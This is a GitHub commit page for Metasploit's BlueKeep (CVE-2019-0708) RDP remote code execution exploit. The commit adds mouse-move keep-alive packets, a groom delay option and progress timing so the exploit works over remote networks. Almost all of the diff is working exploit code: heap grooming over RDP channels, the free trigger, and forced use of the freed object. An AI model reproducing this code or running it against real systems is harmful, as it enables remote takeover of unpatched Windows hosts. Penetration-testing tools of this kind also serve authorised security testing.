Skip to content
Permalink
Browse files

Land #12797, improve BlueKeep over remote networks

  • Loading branch information
busterb committed Jan 12, 2020
2 parents 476eabb + aed9b45 commit 20cf419e184906d489f0d5467813ff2fac485e17
Showing with 42 additions and 3 deletions.
  1. +10 −2 lib/msf/core/exploit/rdp.rb
  2. +32 −1 modules/exploits/windows/rdp/cve_2019_0708_bluekeep_rce.rb
@@ -477,6 +477,15 @@ def rdp_establish_session
rdp_send(rdp_build_pkt(pdu_client_font_list))
end

def rdp_move_mouse(x = 1, y = 1)
mouse_move_blob = ""
mouse_move_blob << "\x04\x80\x0a" # copypasta FAST PATH stuff from xfreerdp
mouse_move_blob << "\x20" # TS_FP_INPUT_EVENT::eventHeader = 0x20 (FASTPATH_INPUT_EVENT_MOUSE)
mouse_move_blob << "\x00\x08" # TS_FP_POINTER_EVENT::pointerFlags = 0x0800 (PTRFLAGS_MOVE)
mouse_move_blob << [x, y].pack('vv') # TS_FP_POINTER_EVENT::xPos, TS_FP_POINTER_EVENT::yPos
rdp_send(mouse_move_blob)
end

#
# Protocol parsers
#
@@ -1274,7 +1283,6 @@ def cs_network_data(channels)
result
end


def cs_core_data(
version: 0x80004,
width: 800,
@@ -1289,7 +1297,7 @@ def cs_core_data(
client_product_id: 1,
client_dig_product_id: "",
selected_proto: 0
)
)

client_name = Rex::Text.to_unicode(client_name[0..16], 'utf-16le')
client_dig_product_id = Rex::Text.to_unicode(client_dig_product_id[0..32], 'utf-16le')
@@ -200,6 +200,7 @@ def initialize(info = {})
OptInt.new('GROOMSIZE', [true, 'Size of the groom in MB', 250]),
OptEnum.new('GROOMCHANNEL', [true, 'Channel to use for grooming', 'RDPSND', ['RDPSND', 'MS_T120']]),
OptInt.new('GROOMCHANNELCOUNT', [true, 'Number of channels to groom', 1]),
OptFloat.new('GROOMDELAY', [false, 'Delay in seconds between sending 1 MB of groom packets', 0])
]
)
end
@@ -276,6 +277,9 @@ def rdp_on_core_client_id_confirm(pkt, user, chan_id, flags, data)
spray_channel = rdp_create_channel_msg(self.rdp_user_id, target_channel_id, spray_buffer, 0, 0xFFFFFFF)
free_trigger = spray_channel * 20 + create_free_trigger(self.rdp_user_id, @mst120_chan_id) + spray_channel * 80

# if the exploit is cancelled during the free, target computer will explode
print_warning("<---------------- | Entering Danger Zone | ---------------->")

print_status("Surfing channels ...")
rdp_send(spray_channel * 1024)
rdp_send(free_trigger)
@@ -293,18 +297,45 @@ def rdp_on_core_client_id_confirm(pkt, user, chan_id, flags, data)

groom_mb = groom_size * 1024 / payloads.length

groom_mb.times do
groom_start_time = Process.clock_gettime(Process::CLOCK_MONOTONIC)

groom_mb.times do |current_groom_count|
tpkts = ''
for c in 0..groom_chan_count
payloads.each do |p|
tpkts += rdp_create_channel_msg(self.rdp_user_id, target_channel_id + c, p, 0, 0xFFFFFFF)
end
end
rdp_send(tpkts)

# tasks we do every 1 MB
if current_groom_count % (1024 / payloads.length) == 0

# adding mouse move events keeps the connection alive
# (this handles a groom duration > 30 seconds, such as over Internet/VPN)
rdp_move_mouse

# simulate slow connection if GROOMDELAY is set
if datastore['GROOMDELAY'] && datastore['GROOMDELAY'] > 0
sleep(datastore['GROOMDELAY'])
end

groom_current_time = Process.clock_gettime(Process::CLOCK_MONOTONIC)
groom_elapsed_time = groom_current_time - groom_start_time
groom_elapsed_str = "%02d:%02d:%02d" % [groom_elapsed_time / 3600,
groom_elapsed_time / 60%60,
groom_elapsed_time % 60]

groom_mb_sent = current_groom_count / (1024 / payloads.length) + 1
vprint_status("Sent #{groom_mb_sent}/#{groom_size} MB. (Time elapsed: #{groom_elapsed_str})")
end
end

# Terminating and disconnecting forces the USE
print_status("Forcing the USE of FREE'd object ...")

# target is groomed, the early cancellation dangers are complete
print_warning("<---------------- | Leaving Danger Zone | ---------------->")
rdp_terminate
rdp_disconnect
end

0 comments on commit 20cf419

Please sign in to comment.
You can’t perform that action at this time.